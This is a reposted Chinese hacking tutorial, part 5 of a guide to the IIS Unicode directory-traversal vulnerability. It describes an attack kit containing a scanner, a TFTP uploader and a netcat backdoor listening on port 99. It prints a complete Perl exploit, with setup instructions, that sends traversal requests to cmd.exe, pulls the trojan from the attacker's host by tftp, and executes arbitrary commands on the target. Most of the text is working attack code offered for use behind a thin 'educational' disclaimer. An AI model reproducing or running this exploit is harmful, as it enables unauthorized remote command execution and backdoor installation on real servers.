UNICODE编码漏洞全攻略-5

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

UNICODE编码漏洞全攻略-5

—————————————————————————————————

badboy 坏男孩俱乐部

这并不是什么权威教材,只适合菜鸟了解win9x、NT存在的不安

全面,切莫

用此方法在国内做尝试,如果你偏要如此,那么由此引起的一切

法律后果由

你自己负责。

本文只允许在网络任意转载,但须保留文章的完整性,如把本文

作为经济目

的使用,或者未经本人许可进行印刷、光盘杂志、等出版性质的

行为,本人

将保留侵权控告的权利。

—————————————————————————————————

五、网络里可得到的一些UNICODE扫描程序的分析(续)

3、攻击型NIT_UNICODE软件套装

下载地址

http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip

压缩包里含有以下文件:

uni.pl -------扫描UNICODE编码漏洞的主PERL程序

uniexe.pl -----执行TFTP过程的PERL程序

ncx99.exe -----一个把telnet端口设置在99的netcat木马

tftpd32.exe -----TFTP设置软件

tftpd32.hlp -----帮助文件

flie_id.diz

vendinfo.diz

readme.file -----使用说明和例子

该程序包主要利用unicode编码漏洞,把ncx99.exe上传到目标主

机,并启动,使攻击

者可以通过telnet 目标主机的99端口,登陆到目标主机上进行攻

击行为。

以下程序在使用时需要修改一些东西,找到

$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe

c:\\inetpub\\scripts\\nit.exe";

这句,把xxx.xxx.xxx.xxx.xxx修改为你的IP地址,然后存盘。

这句主要是把NCX99.EXE从你的主机改名传到目标主机

c:\inetpub\scripts\去。

另外还需要根据目标主机的NT版本,对程序里的..%c0%af..做相

应的修改,比如说

目标主机是WIN2K就修改为..%c1%1c..

#!/usr/bin/perl

# This is for educational purpose's only!

# WHO LET THEM DOGS OUT!

# Use uni.pl first to see if this is a vulnerable server!

# Based of the script unicodeexecute.pl from Roelof Temmngh

# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme

use Socket;

if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";}

($host,$port)=split(/:/,@ARGV[0]);

$target = inet_aton($host);

$failed=1;

$command="dir";

@results=sendraw("GET

/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command

HTTP/1.0\r\n\r\n\cls");

foreach $line (@results){

if ($line =~ /nit.exe/) {$failed=0;}

}

$failed2=1;

if ($failed==1) {

#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh!

$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe

c:\\inetpub\\scripts\\nit.exe";

$command=~s/ /\%20/g;

@results2=sendraw("GET

/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command

HTTP/1.0\r\n\r\n");

foreach $line2 (@results2){

if (($line2 =~ /nit.exe/ )) {$failed2=0;}

}

}

$command=@ARGV[1];

print "\n

Hit CTRL-C if this is Hanging";

$command=~s/ /\%20/g;

my @results=sendraw("GET

/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command

HTTP/1.0\r\n\r\n");

print @results;

# ------------- Sendraw - thanx RFP rfp@wiretrip.net

sub sendraw { # this saves the whole transaction anyway

my ($pstr)=@_;

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||

die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,$port,$target)){

my @in;

select(S); $|=1; print $pstr;

while(<S> ){ push @in, $_;}

select(STDOUT); close(S); return @in;

} else { die("Can't connect...\n"); }

}

# NIT IN THE YEAR 2000

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航